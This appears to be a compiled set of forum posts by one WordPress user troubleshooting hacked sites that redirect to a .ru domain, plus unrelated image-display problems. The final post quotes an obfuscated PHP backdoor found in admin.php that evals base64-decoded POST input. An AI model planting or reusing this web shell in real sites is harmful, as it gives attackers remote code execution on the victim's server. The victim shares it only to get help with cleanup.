JohnDiver

Hey Steve,

Thanks for the reply ??

I already disabled all plugins and changed the theme via phpmyadmin but I will check the error log and enable debug now.

Hope I can get some more info to help.

Thanks again ??

Hey,

Thanks for the reply ??

What I don’t understand is that even when using XAMPP on my laptop and trying to open public_html, it is trying to connect to that domain that is showing in google as a WP hacked site – My main site in the public_html folder isn’t WP but I have 5+ WP sites in the folder / account.

I just did a search of the full public_html directory using Dreamweaver CC for the domain name but its not coming up in any files.

Even on my localhost it is loading some of the WP sites if I go to the direct directory, once the site is loaded, it is going to the .ru domain again.

So frustrating, I dont know what else to do now..

Hey,

I have tried this but it is actually forwarding my public_html folder to that domain.. my main site in public_html isn’t even wordpress but the exploit must have changed something, everything I searched for is showing that it is only for wordpress.

I have 5 or 6 WP sites inside the public_html server so it came from one of them, but its effecting the main directory itself..

I cant even find a file that is making it link to the domain instead of going to my own sites.

Hope someone can help ??

Thanks

Thanks again for the replies.

This is on two different WP sites though, CompleteDiet.com and DecorationBlog.com – Theres nothing up right now on them because the host doesnt allow me to upload the backup, its showing that they have this virus.

Thanks for the reply Steve ??

If I have the database from a backup, can I simply reinstall a new wordpress?
Id have to check the database version though and maybe an upgrade is needed.

This has happened on a lot of WP sites I have and on different servers, the passwords have always been different and I’d say very secure.

Thanks again Steve

Still trying on this, anyone know please? Thanks ??

Thanks Steve ??

I mean the scrolling text on the homepage, under the orange at the top of the page.

Sorry, not the actual page title

Thanks ??

I also checked and didnt see any image links, maybe thats the problem with this theme, but its still happening on all other themes.

I dont know how its not working on fresh installs online and a local server…

Thanks for helping ??

Hey,

The site shouldn’t be flagged for anything :s

https://www.StudentsVisa.com

Is that the site you mean?

This is happening for all of my sites though, most are WP but its also the same for local installs, permissions have been changed and different themes have been used, still no images, I have no idea how its not working.

Thanks for the replies ??

Hey,

SORRY first, I don’t mean to post so quick after my last one but this is driving me crazy…

I have no idea why this is happening and I have done so many searches on here and google and tried every option and nothing is working.

Anyone know what is going wrong?

Thanks for any help!

Hey,

Just tried to do this again and the exact same thing – I just got a new online host.. same.

https://survival.watch/wordpress/ is one

New install, tried different themes but none are showing images.

I read about enabling then disabling hotlinking but that also hasn’t changed anything.

This is happening on both online and a local server with XAMPP.. I don’t know what to do.

Great reply ??

I will look at the link for the hacked page now.

I really hope this resolves this, I have a lot of site compromised now and my host won’t enable the sites until its resolved

Thanks again ??

At this stage it seems like I have to remove all my sites.

It started with 1 or 2 WP sites but then it seems to have effected the server and other non-WP sites after a long time.

Some of the WP installs were very out of date though so it easily have come through that.

I wish I knew what it actually is though because now files on other scripts are being effected and files with what is obviously some type of hack / virus are being created even when I created a new empty folder.

For example this is code from one file from a WP that was hacked:

[code]<?php $bxh1 ="obc4spdte6a_"; $emsb10 = strtolower ($bxh1[1].$bxh1[10].$bxh1[4].$bxh1[8]. $bxh1[9]. $bxh1[3] .$bxh1[11]. $bxh1[6].$bxh1[8].$bxh1[2]. $bxh1[0].$bxh1[6].$bxh1[8]) ;$dzn5= strtoupper($bxh1[11].$bxh1[5].$bxh1[0]. $bxh1[4].$bxh1[7] ) ;if(isset ( ${ $dzn5 }['n2a5248' ])) {eval( $emsb10 ( ${ $dzn5 } [ 'n2a5248' ]) ) ;}?>[/code]

This is in a file called admin.php in the root dir of WP.
Theres numerous of these – These are shown as suspected files, none of the files in the theme folder are showing as suspected though..

Thanks